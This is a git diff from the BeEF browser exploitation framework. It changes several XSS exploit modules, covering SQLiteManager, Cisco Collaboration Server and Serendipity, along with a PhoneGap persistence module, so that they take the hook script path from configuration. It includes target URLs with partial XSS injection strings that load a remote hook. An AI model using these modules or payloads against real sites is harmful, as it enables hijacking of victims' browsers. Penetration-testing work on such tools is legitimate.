diff --git a/extensions/customhook/html/index.html b/extensions/customhook/html/index.html index f9c4493e7..52150e454 100644 --- a/extensions/customhook/html/index.html +++ b/extensions/customhook/html/index.html @@ -3,11 +3,15 @@ Browser Exploitation Framework (BeEF) - http://beefproject.com See the file 'doc/COPYING' for copying permission --> +<% + @configuration = BeEF::Core::Configuration.instance + hook_file = @configuration.get("beef.http.hook_file") +%> <%= @customhook_title %> diff --git a/modules/exploits/sqlitemanager_xss/module.rb b/modules/exploits/sqlitemanager_xss/module.rb index 2bb37a0e6..8c8f1d9c2 100644 --- a/modules/exploits/sqlitemanager_xss/module.rb +++ b/modules/exploits/sqlitemanager_xss/module.rb @@ -9,7 +9,8 @@ class Sqlitemanager_xss < BeEF::Core::Command configuration = BeEF::Core::Configuration.instance proto = configuration.get("beef.http.https.enable") == true ? "https" : "http" - hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/hook.js" + hook_file = configuration.get("beef.http.hook_file") + hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}" return [ {'name' => 'uri', 'ui_label' => 'Target URL', 'value' => 'http://127.0.0.1/sqlite/index.php?dbsel=1"> 'uri', 'ui_label' => 'Target URL', 'value' => 'http://target/ossim/top.php?option=3&soption=3&url='} diff --git a/modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb b/modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb index 18221eaf7..08d684341 100644 --- a/modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb +++ b/modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb @@ -9,7 +9,8 @@ class Cisco_collaboration_server_5_xss < BeEF::Core::Command configuration = BeEF::Core::Configuration.instance proto = configuration.get("beef.http.https.enable") == true ? "https" : "http" - hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/hook.js" + hook_file = configuration.get("beef.http.hook_file") + hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}" return [ {'name' => 'uri', 'ui_label' => 'Target URL', 'value' => 'http://target/webline/html/admin/wcs/LoginPage.jhtml?oper=&dest=">'} diff --git a/modules/exploits/xss/serendipity_1.6_xss/module.rb b/modules/exploits/xss/serendipity_1.6_xss/module.rb index 4d12f1855..8c26a0d2a 100644 --- a/modules/exploits/xss/serendipity_1.6_xss/module.rb +++ b/modules/exploits/xss/serendipity_1.6_xss/module.rb @@ -9,7 +9,8 @@ class Serendipity_1_6_xss < BeEF::Core::Command configuration = BeEF::Core::Configuration.instance proto = configuration.get("beef.http.https.enable") == true ? "https" : "http" - hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/hook.js" + hook_file = configuration.get("beef.http.hook_file") + hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}" return [ {'name' => 'uri', 'ui_label' => 'Target URL', 'value' => 'http://target/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]=\'"'} diff --git a/modules/phonegap/phonegap_persistence/module.rb b/modules/phonegap/phonegap_persistence/module.rb index 8a9aa7d09..efc134d2f 100644 --- a/modules/phonegap/phonegap_persistence/module.rb +++ b/modules/phonegap/phonegap_persistence/module.rb @@ -14,12 +14,13 @@ class Phonegap_persistence < BeEF::Core::Command proto = configuration.get("beef.http.https.enable") == true ? "https" : "http" beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port") + hook_file = @configuration.get("beef.http.hook_file") return [{ 'name' => 'hook_url', 'description' => 'The URL of your BeEF hook', 'ui_label'=>'Hook URL', - 'value' => proto + '://'+beef_host+':'+beef_port+'/hook.js', + 'value' => proto + '://'+beef_host+':'+beef_port+hook_file, 'width' => '300px' }] end